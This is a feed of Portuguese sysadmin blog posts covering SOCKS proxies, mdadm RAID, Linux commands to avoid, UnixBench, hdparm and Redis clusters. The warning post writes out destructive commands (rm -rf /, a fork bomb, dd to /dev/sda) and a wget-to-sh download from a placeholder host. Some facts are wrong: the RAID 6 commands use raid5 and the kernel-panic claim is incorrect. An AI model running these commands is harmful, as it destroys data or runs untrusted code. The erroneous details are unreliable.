Este processo permite-lhe atualizar a senha do admin para o Wazuh usando o Docker, assegurando que segue todos os passos corretamente para garantir que as alterações sejam eficazes.

La entrada Instale o Seu Próprio Servidor Wazuh no Ubuntu se publicó primero en Aprende IT.

Na era digital, manter a privacidade e segurança online é mais crucial do que nunca. Uma das maneiras de proteger a sua identidade e dados na rede é através do uso de um servidor proxy SOCKS. Este tipo de proxy atua como um intermediário entre o seu dispositivo e a internet, ocultando o seu endereço IP real e cifrando o seu tráfego de internet. Neste artigo, vamos guiá-lo passo a passo sobre como configurar o seu próprio servidor proxy SOCKS no Ubuntu utilizando o Dante, um servidor proxy versátil e de alto desempenho.

Iniciando a instalação do Dante

Antes de mergulharmos na configuração do Dante, é essencial preparar o seu sistema e garantir que está atualizado. Para isso, abra um terminal e execute os seguintes comandos:

sudo apt update
sudo apt install dante-server

Estes comandos irão atualizar a lista de pacotes do seu sistema e depois instalar o Dante, respectivamente.

Configuração do ficheiro danted.conf

Uma vez instalado o Dante, o próximo passo é configurar o servidor proxy. Isto é feito editando o ficheiro de configuração danted.conf localizado em /etc/danted/. Para isso, use o seu editor de texto preferido. Aqui, vamos usar o vim:

vim /etc/danted.conf

Dentro deste ficheiro, deve especificar detalhes cruciais como as interfaces externa e interna, o método de autenticação e as regras de acesso. A seguir, mostramos uma configuração exemplo que pode ajustar de acordo com as suas necessidades:

logoutput: syslog
user.privileged: root
user.unprivileged: nobody

# A interface externa (pode ser o seu endereço IP público ou o nome da interface)
external: eth0

# A interface interna (geralmente o endereço IP do seu servidor ou loopback)
internal: 0.0.0.0 port=1080

# Método de autenticação
socksmethod: username

# Regras de acesso
client pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    log: connect disconnect error
}

# Quem pode utilizar este proxy
socks pass {
    from: 0.0.0.0/0 to: 0.0.0.0/0
    command: bind connect udpassociate
    log: connect disconnect error
    socksmethod: username
}

Esta configuração define um servidor SOCKS que escuta em todas as interfaces disponíveis (0.0.0.0) na porta 1080. Utiliza autenticação por nome de utilizador e permite conexões de e para qualquer endereço.

Criação de um utilizador para o proxy

Para que o proxy seja seguro e não esteja aberto ao público, é necessário criar um utilizador específico para a conexão. Isto é conseguido com os seguintes comandos:

sudo useradd -r -s /bin/false nome_utilizador
sudo passwd nome_utilizador

Aqui, nome_utilizador é o nome de utilizador que deseja para a conexão ao proxy. O comando useradd cria o utilizador, e passwd permite-lhe atribuir uma palavra-passe.

Reiniciar e habilitar o serviço Dante

Com o utilizador criado e o ficheiro de configuração ajustado, é momento de reiniciar o serviço Dante e garantir que ele se execute ao início do sistema:

sudo systemctl restart danted.service
sudo systemctl enable danted.service
sudo systemctl status danted.service

Além disso, é importante garantir que a porta 1080, que é onde escuta o proxy, esteja permitida no firewall:

sudo ufw allow 1080/tcp

Verificação da conexão

Finalmente, para verificar se tudo está a funcionar corretamente, pode testar a conexão através do proxy com o seguinte comando:

curl -v -x socks5://nome_utilizador:password@seu_ip_do_servidor:1080 https://qualemeuip.com/

Lembre-se de substituir nome_utilizador, password e seu_ip_do_servidor com as suas informações específicas. Este comando utilizará o seu servidor proxy para aceder a um website que mostra o seu endereço IP público, verificando assim que o tráfego está realmente a ser redirecionado através do proxy SOCKS.

Configurar um servidor proxy SOCKS com Dante pode parecer complexo ao início, mas seguindo estes passos, poderá ter um sistema poderoso

Pode configurar um servidor proxy SOCKS5 utilizando OpenSSH no Ubuntu 22.04, o que é uma alternativa mais simples e direta em certos casos, especialmente para uso pessoal ou em situações onde já tem um servidor SSH configurado. A seguir, explico como fazê-lo:

Criar um proxy Socks 5 com OpenSSH

Ao contrário do Dante, com o qual podemos criar um serviço de proxy com autenticação, com OpenSSH, podemos criar um túnel numa porta que pode ser utilizado como proxy socks sem autenticação, pelo que é conveniente utilizá-lo apenas para localhost dentro de um único equipamento (explicaremos isto melhor depois)

Instalação do OpenSSH Server

Se ainda não tem o OpenSSH Server instalado no seu servidor que vai fazer de proxy, pode instalá-lo com o seguinte comando, desde que seja uma distribuição baseada em Debian / Ubuntu:

sudo apt update
sudo apt install openssh-server

Certifique-se de que o serviço está ativo e a executar corretamente com:

sudo systemctl status ssh

Configuração do Servidor SSH (Opcional)

Por defeito, o OpenSSH escuta na porta 22. Pode ajustar configurações adicionais editando o ficheiro /etc/ssh/sshd_config, como alterar a porta, restringir o acesso a certos utilizadores, etc. Se realizar alterações, lembre-se de reiniciar o serviço SSH:

sudo systemctl restart ssh

Utilização do SSH como um Proxy SOCKS5

Para configurar um túnel SSH que funcione como um proxy SOCKS5, utilize o seguinte comando a partir do seu cliente (não no servidor). Este comando estabelece um túnel SSH que escuta localmente na sua máquina na porta especificada (por exemplo, 1080) e redireciona o tráfego através do servidor SSH:

ssh -D 1080 -C -q -N utilizador@endereço_servidor

• -D 1080 especifica que o SSH deve criar um proxy SOCKS5 na porta local 1080.
• -C comprime os dados antes de enviar.
• -q habilita o modo silencioso que minimiza as mensagens de log.
• -N indica que não sejam executados comandos remotos, útil quando apenas deseja estabelecer o túnel.
• utilizador é o seu nome de utilizador no servidor SSH.
• endereço_servidor é o endereço IP ou domínio do seu servidor SSH.

Neste ponto, mencionamos que com a opção -D deve-se indicar apenas a porta, pois se expor a porta a toda a rede pode permitir que outros equipamentos da rede utilizem este proxy sem autenticação:

[ger@ger-pc ~]$ ssh -D 0.0.0.0:1081 root@192.168.54.100

Se verificarmos com o comando ss ou netstat, podemos ver que está a escutar em todas as redes:

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 0.0.0.0:1081 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$

No entanto, se conectarmos especificando apenas a porta sem 0.0.0.0 ou sem qualquer IP, o fará apenas no localhost:

[ger@ger-pc ~]$ ssh -D 1081 root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 127.0.0.1:1081 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$

Conexão através do Proxy SOCKS5:

Agora pode configurar o seu navegador ou aplicação para utilizar o proxy SOCKS5 no localhost e na porta 1080. Cada aplicação tem uma maneira diferente de configurar isto, por isso, precisará rever as preferências ou a documentação da aplicação.

Automatização da Conexão (Opcional):
Se precisar que o túnel se estabeleça automaticamente ao início ou sem interação manual, pode considerar utilizar uma ferramenta como autossh para manter a conexão do túnel aberta e reconectar em caso de queda.

Esta é uma forma eficaz de estabelecer um proxy SOCKS5 rápido para um utilizador ou alguns utilizadores, especialmente útil para contornar restrições de rede ou proteger o seu tráfego em redes não confiáveis. A principal vantagem deste método é a sua simplicidade e que aproveita a infraestrutura SSH existente, sem necessidade de configurar software adicional no servidor.

La entrada Criar proxy socks com dante e com openssh se publicó primero en Aprende IT.

O que é um RAID?

Um raid de discos pode ser definido como um grupo ou conjunto de discos independentes, de facto RAID é um acrónimo de Redundant Array of Independent Disks. Os discos são unificados por software ou hardware para redundar dados e/ou utilizar a capacidade total de cada disco em conjunto. Isto será mais fácil de compreender quando mais tarde definirmos cada tipo de RAID.

Diferença entre RAID por hardware e RAID por software

O que é software RAID?

O RAID por software é, como o nome indica, uma aplicação que permite a criação de RAID a um nível lógico a partir de discos ligados ao nosso equipamento. Este software cria um sistema de ficheiros em que funciona comportando-se de acordo com o tipo de RAID configurado.

O que é RAID Hardware?

Um raid de hardware é um dispositivo físico que permite a criação de um RAID de discos.  Pode ser uma placa de expansão PCI ou PCIE ou pode ser integrado na placa-mãe, este hardware integra tudo o que é necessário para realizar um RAID sem utilizar o processador ou a RAM do sistema (como regra geral), pode também integrar uma cache. Esta cache pode acelerar as operações de leitura/escrita.

Quais são as suas principais diferenças e as vantagens de cada uma delas?

• O RAID de hardware requer hardware que vem com um custo.
  
• Com RAID por hardware, em caso de falha do disco, basta inserir o novo disco e o RAID é normalmente reconstruído sem quaisquer passos adicionais (como regra geral).
  
• O software RAID evita o ponto de falha de uma única placa RAID. Se esta placa falhar, o RAID não funcionará.
  
• Nos sistemas actuais, a diferença de desempenho em comparação com o RAID por hardware é menos notória, uma vez que os processadores são mais potentes.
  
• O RAID de hardware não utiliza os recursos do processador da máquina anfitriã.

Níveis RAID mais utilizados

· RAID 0 (Data Striping, Striped Volume)

Esta rusga toma a capacidade dos discos adicionados e adiciona-os juntos. Por exemplo, se tivermos 2 discos de 1TB com este RAID obteremos um volume de 2TB. Se os discos forem de diferentes capacidades, é sempre necessário o mais baixo a utilizar, bem como as RPM (rotações por minuto) do disco. Ou seja, se tivermos um disco de 2 TB a 7200RPM e outro de 1 TB a 5400RPM, teremos um volume de 2 TB a 5400RPM, ou seja, teremos novamente um volume de 2 TB mas mais lento. É por isso que é importante que os discos sejam semelhantes.

Por outro lado, neste tipo de RAID, o desempenho é uma prioridade mas não a segurança, não há redundância de dados, portanto, se um disco se partir, o volume será corrompido.

· RAID 1 (espelho)

Este RAID, tal como no RAID anterior e em todos os RAIDs anteriores, os discos devem ter a mesma capacidade para evitar o desperdício de discos. Neste modo RAID os dois discos são configurados em espelho, o que significa que todo o conteúdo do disco é replicado noutro disco para cada 2 discos 1 disco é dedicado a dados redundantes. É recomendado para 2 discos. Este RAID tem uma vantagem adicional e que é uma maior velocidade de leitura multi-utilizador, uma vez que os dados podem ser lidos a partir de ambos os discos. No entanto, as escritas são mais lentas, pois têm de ser feitas em ambos os discos.

· RAID 5

Este RAID é o mais popular devido ao seu baixo custo. Com 3 discos, aproximadamente 75% da capacidade do disco está disponível. Requer apenas um mínimo de 3 discos e suporta a perda completa de um disco. A informação é servida em blocos distribuídos pelo número total de discos, pelo que quanto mais discos, maior o desempenho. Quanto maiores forem os discos, mais tempo demora a reconstruir o RAID no caso de uma falha do disco. Este RAID protege contra falhas, distribuindo o cálculo da paridade por todos os discos e protegendo assim contra possíveis erros de hardware.

O ponto fraco deste tipo de RAID é que se um disco falhar, até ser substituído, o volume fica desprotegido contra a falha de outro disco. É aqui que entram os discos de reserva. Um disco de reserva é um disco de reserva que “entra em jogo” quando um dos discos falha, de modo que o número de discos que podem falhar é de dois (desde que o RAID não esteja a ser reconstruído quando o segundo disco falha). Desta forma evitamos o ponto de falha mencionado anteriormente. Quando o disco de reserva é adicionado, este tipo de RAID é também conhecido como RAID 5E. Existem dois tipos de sobressalentes: “sobressalentes de reserva” e “sobressalentes quentes”.

Se for um disco de reserva, envolve um processo de reconstrução durante a adição do disco de reserva em substituição do disco avariado; no entanto, se for um disco de reserva quente, este tempo é minimizado.

· RAID 6

Digamos que é a evolução do RAID 5, precisa de pelo menos 4 discos. Funciona como RAID 5 mas com dupla banda de paridade que também está espalhada por todos os discos. Este tipo de RAID suporta a falha total de até dois discos, mesmo durante a reconstrução do RAID. É menos utilizado porque quando poucos discos são utilizados, a capacidade de dois discos é desperdiçada porque não atingem o máximo teórico, com 4 discos o RAID terá cerca de metade da capacidade dos discos. Quanto mais discos forem utilizados no RAID, mais capacidade de cada disco é utilizada.

Como no RAID 5, no RAID 6 podem ser adicionados discos sobressalentes (normalmente chamados RAID 6E) para suportar um terceiro disco avariado (o terceiro disco pode falhar sem corromper o volume enquanto o raid não estiver a ser reconstruído).

Niveles RAID anidados

Os níveis de RAID aninhados são “RAID em RAID”. Trata-se de um RAID de um tipo montado em cima de RAID(s) de outro tipo. Desta forma, pode tirar partido dos benefícios de cada RAID. Por exemplo:

• RAID 0+1 : É um espelho de RAIDs 0, ou seja, se tivermos 4 discos, 2 raids 0 são criados com cada par de discos e com os 2 volumes RAID criados é criado um raid 1. Desta forma, adicionamos redundância ao RAID 0.
• RAID 1+0: Este é um RAID 0 de dois espelhos (RAID 1). Dois RAID 1 são criados com cada par de discos e com o par de discos RAID 1 criado, é criado um RAID 0.
• RAID 50 (5+0): É necessário um mínimo de 6 discos para este RAID. Com cada trio de discos é criado um RAID 5. Depois com cada RAID criado é criado um RAID 0 com o RAID 5 criado. Com 6 discos, é atingido um total de aproximadamente 65% da capacidade do disco.

Os tipos RAID mais comuns são

• RAID 0: Para armazenamento de dados não críticos, dos quais a perda não é importante.
  
• RAID 1: Para sistemas operativos, por exemplo, em servidores. O sistema operativo é normalmente instalado em RAID 1.
  
• RAID 5: Armazenamento em geral, devido ao seu baixo custo e boa fiabilidade.

Como montar em linux cada tipo de RAID com “mdadm”:

Uma incursão no linux é muito fácil de montar utilizando os seguintes passos:

Passo 1: Instalar mdadm: por defeito não é normalmente instalado no Linux.

Em debian e derivados:

apt-get install mdadm

Em RedHat / CentOS e derivados:

yum install mdadm

Passo 2: Os discos a serem incluídos no RAID devem ser preenchidos com zeros para evitar problemas com os sistemas de ficheiros existentes:

root@localhost:~# mdadm --zero-superblock /dev/hdb /dev/hdc

(E tantos outros discos para usar) ou com DD:

Passo 3: O próximo passo seria criar o RAID, basicamente com ele:

mdadm -C /dev/NOMBRERAID --level=raid[NUMERO] --raid-devices=NUMERO_DE_DISCOS /dev/DISCO1 /dev/DISCO2

• RAID 0: São seleccionados pelo menos dois discos (por exemplo, vdc e vdd):

mdadm -C /dev/md0 --level=raid0 --raid-devices=2 /dev/vdc /dev/vdd

• RAID 1: No caso do RAID 1 é melhor seleccionar um máximo de 2 discos / volumes (usamos vdc e vdd como exemplos):

mdadm -C /dev/md0 --level=raid1 --raid-devices=2 /dev/vdc /dev/vdd

• RAID 5: Pelo menos três discos:

mdadm -C /dev/md0 --level=raid5 --raid-devices=3 /dev/vdb /dev/vdc /dev/vdd

Se quisermos um disco de reserva (temos de adicionar todos os discos incluindo o de reserva ao RAID desde o início):

mdadm -C /dev/md0 --level=raid5 --raid-devices=3 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde

• RAID 6: Pelo menos 4 discos

mdadm -C /dev/md0 --level=raid5 --raid-devices=4 /dev/vdb /dev/vdc /dev/vdd /dev/vde

E com spares:

mdadm -C /dev/md0 --level=raid5 --raid-devices=4 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde /dev/vdf

Em caso de falha de um disco RAID só temos de o remover e inserir o novo disco e quando inserimos o novo disco (olhando para o log in /var/log/messages do sistema) executamos:

mdadm --add /dev/RAID /dev/NUEVO_DISCO

No caso de querer parar um RAID:

mdadm --stop /dev/md0 && mdadm --remove /dev/md0

Y para consultar el estado:

cat /proc/mdstat

E isso é tudo sobre como criar um RAID de software em linux com mdadm.

Se gostou do artigo, deixe um comentário e/ou partilhe-o nas suas redes sociais.

Até breve!

La entrada Como criar um software RAID em linux com mdadm se publicó primero en Aprende IT.

O Devastador rm -rf /

Começamos com o infame comando rm -rf /, uma sentença que parece simples mas esconde um potencial destrutivo. Este comando apaga todos os ficheiros do sistema, começando pela raiz (/). O modificador -r indica que a eliminação deve ser recursiva, ou seja, afetar todos os ficheiros e diretórios contidos no diretório especificado, enquanto -f força a eliminação sem pedir confirmação. Executar este comando como superusuário significa dizer adeus ao seu sistema operativo, aos seus dados e a qualquer esperança de recuperação fácil.

Em resumo, é preciso ter cuidado ao executar comandos rm recursivos, pois podemos eliminar mais do que queremos:

• rm -fr *
• rm -fr */
• rm -fr /*
• rm -fr .
• rm -fr ..

A Armadilha de :(){ :|: & };:

Este comando enigmático é um exemplo de uma função fork bomb. Define-se uma função chamada : que, quando executada, chama-se a si mesma duas vezes, e cada chamada é executada em background. Isso causa uma reação em cadeia, duplicando processos indefinidamente e consumindo os recursos do sistema até que este trave. É um ataque de negação de serviço contra a sua própria máquina, levando ao limite a capacidade de processamento e memória.

Para entender melhor, :(){ :|: & };: é o mesmo que executar:

bomb() {
    bomb | bomb &;
}; bomb

O Perigo de dd if=/dev/zero of=/dev/sda

O comando dd é uma ferramenta poderosa usada para converter e copiar ficheiros a nível de bloco. Neste contexto, if=/dev/zero define a entrada para um fluxo contínuo de zeros, e of=/dev/sda designa o dispositivo de destino, geralmente o disco rígido principal. Este comando sobrescreve todo o disco com zeros, apagando irreversivelmente o sistema operativo, os programas e os dados do utilizador. É essencial compreender a função de cada parte do comando antes de executar algo tão poderoso como dd.

Descarregar e Executar um Ficheiro Malicioso

Por exemplo, o comando wget http://exemplo.com/malicioso.sh -O- | sh

Este comando utiliza wget para descarregar um script de um endereço da Internet e executa-o diretamente na shell com sh. O perigo reside em executar código sem rever, proveniente de uma fonte não confiável. Pode tratar-se de um script malicioso desenhado para danificar o seu sistema ou comprometer a sua segurança. É sempre vital verificar o conteúdo dos scripts antes de executá-los.

Modificação Perigosa de Permissões e Propriedades

A modificação de permissões com, por exemplo, chmod 777 / -R pode deixar o seu sistema inutilizável.
chmod altera as permissões de ficheiros e diretórios, e 777 concede permissões totais (leitura, escrita e execução) a todos os utilizadores. Aplicar isto de forma recursiva (-R) à raiz (/) elimina qualquer forma de controlo de acesso, expondo o sistema a riscos de segurança graves. Qualquer utilizador poderia modificar qualquer ficheiro, com potenciais consequências desastrosas.

O Comando chown nobody:nogroup / -R

Semelhante ao caso anterior, chown altera o proprietário e o grupo de ficheiros e diretórios. Usar nobody:nogroup atribui a propriedade a um utilizador e grupo sem privilégios, aplicado de forma recursiva a partir da raiz, pode deixar o sistema num estado inoperável, uma vez que os serviços e processos críticos poderiam perder o acesso aos ficheiros necessários para o seu funcionamento.

O Misterioso mv /home/o_seu_usuario/* /dev/null

Mover ficheiros para o diretório /dev/null é equivalente a eliminá-los, pois /dev/null é um buraco negro no sistema que descarta tudo o que recebe. Este comando, aplicado ao diretório do utilizador, pode resultar na perda de todos os dados pessoais, configurações e ficheiros importantes armazenados no seu home.

O Perigoso find

O comando find pode ser muito perigoso, por exemplo, se executarmos o seguinte comando:

find / -name '*.jpg' -type f -delete

O que acontece é que find é uma ferramenta versátil para procurar ficheiros no sistema de ficheiros que cumpram com certos critérios. Este comando procura todos os ficheiros .jpg no sistema e elimina-os. Embora possa parecer útil para libertar espaço, eliminar indiscriminadamente ficheiros baseando-se apenas na sua extensão pode resultar na perda de documentos importantes, memórias e recursos.

Causar um Kernel Panic

O seguinte comando é capaz de causar um kernel panic:

echo 1 > /proc/sys/kernel/panic;

Provocar um erro de Kernel Panic no Linux é comparável à temida tela azul da morte no Windows, desmistificando a crença de que o Linux é infalível. Através de certos comandos, como redirecionar dados aleatórios para dispositivos críticos do sistema ou manipular diretamente a memória, pode forçar o Linux a entrar num estado de pânico do kernel, tornando o sistema irrecuperável sem um reinício. Estes comandos são altamente arriscados e podem resultar na perda de dados ou na corrupção do sistema.

Sobrescrever o Disco de Sistema com a Saída de um Comando

Sobrescrever o disco rígido no Linux, usando comandos que redirecionam a saída de qualquer comando Bash diretamente para um dispositivo de disco (/dev/hda), pode resultar na perda total de dados. Este processo é irreversível e difere da formatação, pois implica escrever dados brutos sobre toda a unidade, tornando-a inutilizável. É uma ação altamente perigosa sem benefício prático na maioria dos contextos.

Um exemplo disto seria:

comando1 > /dev/sda1

Proteja o Seu Sistema, Proteja a Sua Paz de Espírito

Explorar e experimentar com o Linux pode ser uma experiência recompensadora e educativa. No entanto, é crucial fazê-lo com conhecimento e precaução. Os comandos discutidos aqui representam apenas uma fração do que é possível (e potencialmente perigoso) no terminal. A regra de ouro é simples: se não tem a certeza do que um comando faz, investigue antes de executá-lo. Proteger o seu sistema é proteger o seu trabalho, as suas memórias e, em última análise, a sua paz de espírito.

La entrada Comandos que não devem ser executados no Linux se publicó primero en Aprende IT.

O que é UnixBench?

UnixBench é um conjunto de testes de desempenho de código aberto projetado para sistemas Unix e Linux. Caracteriza-se pela facilidade de uso e profundidade, permitindo medir o desempenho de vários componentes do sistema.

Instalação do UnixBench

A instalação do UnixBench é simples e é realizada através de alguns comandos no terminal:
Clona o repositório do UnixBench:

git clone https://github.com/kdlucas/byte-unixbench.git

Acede ao diretório UnixBench:

cd byte-unixbench/UnixBench

Compila e constrói o UnixBench:

make

Executando o Teu Primeiro Teste com UnixBench

Para lançar o teu primeiro teste, segue estes passos:
Na mesma pasta do UnixBench, executa:

./Run

Isso iniciará uma série de testes que avaliarão diferentes aspetos do teu sistema.

Análise dos Resultados

Os resultados do UnixBench são apresentados em forma de pontuações e dados, proporcionando uma ideia clara do desempenho do teu sistema em áreas como a CPU, a memória e as operações de disco.

Testes Avançados

O UnixBench permite realizar testes específicos para diferentes componentes. Por exemplo, para focar na CPU:

./Run dhry2reg whetstone-double

Personalizando os Testes

O UnixBench oferece a flexibilidade de personalizar os testes. Podes escolher quais testes executar e adaptá-los às tuas necessidades específicas.

Monitorização em Tempo Real

Enquanto os testes estão a decorrer, é útil realizar uma monitorização em tempo real do sistema usando ferramentas como top ou htop.

Testes de Desempenho de Rede

Além dos componentes básicos, o UnixBench também pode avaliar o desempenho da rede do teu sistema, um aspeto crucial para servidores ou ambientes dependentes de rede.

Integração com Ferramentas de Monitorização

O UnixBench pode ser integrado com ferramentas avançadas de monitorização de sistemas, proporcionando uma análise detalhada do desempenho do sistema durante os testes.

Dicas para Otimizar o Desempenho

Após os testes, podes identificar áreas para melhorias e começar a otimizar o teu sistema, ajustando configurações, atualizando hardware ou modificando o ambiente de software.

La entrada Testes de Desempenho em Linux com UnixBench se publicó primero en Aprende IT.

Instalação e Uso Básico

A maioria das distribuições Linux já inclui o hdparm. Para começar, abre um terminal e executa:

 hdparm -I /dev/sda | more

Este comando mostrar-te-á toda a informação disponível sobre o teu disco, incluindo o modelo e a versão do firmware.

Medindo a Velocidade do Disco

Para conhecer a velocidade de transferência de dados do teu disco, utiliza:

 hdparm -t /dev/sda

Repete a medição várias vezes para obter uma média. Se quiseres medir a velocidade pura do disco, sem o efeito do buffer do sistema, usa hdparm -t --direct /dev/sda. Podes também especificar um deslocamento com hdparm -t --direct --offset 500 /dev/sda para testar diferentes áreas do disco.

Otimizando a Transmissão de Dados

Para melhorar a transmissão de dados, o hdparm permite ajustar a quantidade de setores que são lidos de uma vez com o comando:

hdparm -m16 /dev/sda

Este comando configura a leitura de 16 setores simultaneamente. Além disso, podes ativar a função “read-ahead” com hdparm -a256 /dev/sda, o que faz com que o disco leia antecipadamente 256 setores.

Controlo do Modo 32-Bit e do Ruído do Disco

Com hdparm -c /dev/sda, podes verificar se o teu disco está a funcionar em modo 32-bit, e forçar este modo com -c3. Se o teu disco é ruidoso, podes reduzir o ruído ativando o “modo acústico” com hdparm -M 128 /dev/sda, ou maximizar a velocidade com `hdparm -M 254 /dev/sda​​​​.

Gestão da Cache de Escrita

O comando hdparm -W /dev/sda permite-te ativar ou desativar a cache de escrita, o que pode acelerar a escrita de dados mas com o risco de perda de dados em caso de cortes de energia.

Configuração do Modo de Poupança de Energia

Podes gerir a poupança de energia do disco com hdparm -B255 /dev/sda para a desativar, ou usar valores entre 1 e 254 para diferentes níveis de poupança e desempenho. Com hdparm -S 128 /dev/sda, ajustas o tempo de inatividade antes de o disco entrar em modo de repouso.

Limpeza de SSDs

Os SSDs podem acumular blocos de dados residuais. Para limpá-los, usa o script wiper.sh /dev/sda, mas com precaução, pois pode levar à perda de dados.

Apagamento Seguro em SSDs

Para apagar de forma segura um SSD, o hdparm oferece a função de “apagamento seguro” com

hdparm --user-master u --security-erase 123456 /dev/sdb

Este processo elimina completamente os dados, mas requer precaução, pois pode tornar o SSD inutilizável em alguns casos.

Manuseamento de Discos IDE Antigos

Para os discos IDE, é importante rever e configurar o DMA com hdparm -d1 /dev/hda para melhorar a transferência de dados. Se encontrares problemas, desativa-o com `hdparm -d0 /dev/hda​​.

Mantendo as Alterações Após Reiniciar

Para garantir que as alterações feitas com o hdparm persistam após reiniciar, deves adicioná-las aos scripts de arranque do sistema ou, em sistemas baseados em Debian, no arquivo /etc/hdparm.conf.
Lembra-te que esta é uma ferramenta poderosa e deve ser usada com conhecimento. Faz sempre cópias de segurança antes de realizar alterações significativas e consulta a documentação específica.

La entrada Utilitário hdparm: Afina o Teu Disco se publicó primero en Aprende IT.

Preparando o Ambiente

Antes de começares, precisas de ter o Redis instalado no teu sistema. Podes descarregá-lo da sua página oficial. Uma vez instalado, verifica o seu funcionamento com o comando redis-server. Deverás ver uma mensagem a indicar que o Redis está a funcionar.

Configuração Inicial dos Nós

Um cluster Redis é composto por vários nós. Para este exemplo, vamos configurar três nós na mesma máquina para simplificar. Cria três diretórios diferentes, cada um representando um nó Redis. Em cada diretório, precisarás de um ficheiro de configuração para o nó. Podes nomeá-lo redis.conf.
Dentro do redis.conf, estabelece as seguintes configurações:

conf
Copia código
port [PORTO_DO_NÓ]
cluster-enabled yes
cluster-config-file nodes.conf
cluster-node-timeout 5000
appendonly yes

Certifica-te de mudar [PORTO_DO_NÓ] para um porto único para cada nó.

Iniciando os Nós

Agora, inicia cada nó Redis com a sua respetiva configuração. Abre um terminal para cada nó e executa:

redis-server ./redis.conf
Criando o Cluster

Com os nós em execução, é hora de formar o cluster. O Redis fornece uma ferramenta chamada redis-cli para lidar com tarefas administrativas. Usa-a para criar o cluster com o seguinte comando:

redis-cli --cluster create [IP_NÓ1]:[PORTO1] [IP_NÓ2]:[PORTO2] [IP_NÓ3]:[PORTO3] --cluster-replicas 1

Certifica-te de substituir [IP_NÓ] e [PORTO] pelos endereços IP e portos correspondentes dos teus nós.

Verificação do Cluster

Após criar o cluster, verifica o seu estado com:

redis-cli --cluster check [IP_NÓ]:[PORTO]

Este comando dar-te-á um relatório detalhado do estado do teu cluster.

Manuseando Chaves no Cluster

Agora que tens o teu cluster, é importante saberes como manusear chaves dentro dele. O Redis manuseia chaves através de uma técnica chamada sharding, onde as chaves são distribuídas entre os diferentes nós.
Para inserir uma chave, utiliza:

redis-cli -c -p [PORTO] SET [NOME_CHAVE] [VALOR]

Para recuperar uma chave:

redis-cli -c -p [PORTO] GET [NOME_CHAVE]

Lembra-te que -c permite que o redis-cli redirecione automaticamente o comando para o nó correto.

Manuseamento de Erros e Recuperação

É vital que saibas como manusear situações quando algo corre mal. Num cluster Redis, se um nó falhar, o sistema tentará automaticamente usar uma réplica para manter a disponibilidade. No entanto, é importante monitorizar o estado do cluster e realizar manutenções regulares.
Para verificar o estado dos nós, usa:

redis-cli -p [PORTO] CLUSTER NODES

Se um nó falhar e precisares de o substituir, podes fazê-lo sem parar o cluster. Segue os passos de configuração inicial para um novo nó e depois usa-o para substituir o nó falhado com o redis-cli.

Escalando o Teu Cluster

À medida que a tua aplicação cresce, poderás precisar de escalar o teu cluster. O Redis permite-te adicionar mais nós ao cluster sem interrupções. Para adicionar um novo nó, configura-o como vimos anteriormente e depois usa-o no cluster com:

redis-cli --cluster add-node [IP_NOVO_NÓ]:[NOVO_PORTO] [IP_NÓ_EXISTENTE]:[PORTO_EXISTENTE]

Depois, se necessário, podes reequilibrar as chaves entre os nós.

Manutenção e Monitorização

A manutenção regular é crucial. Certifica-te de manter a tua versão do Redis atualizada e de rever os logs regularmente. Também é boa ideia configurar um sistema de monitorização para receber alertas sobre problemas no cluster.
Espero que este guia tenha sido útil para criares e gerires o teu cluster Redis. Como viste, com alguns comandos e alguma configuração, podes ter um sistema robusto e escalável. Lembra-te que a prática leva à perfeição, por isso não hesites em experimentar e aprender mais sobre este poderoso sistema.

La entrada Como Criar um Cluster Redis: Guia Passo a Passo se publicó primero en Aprende IT.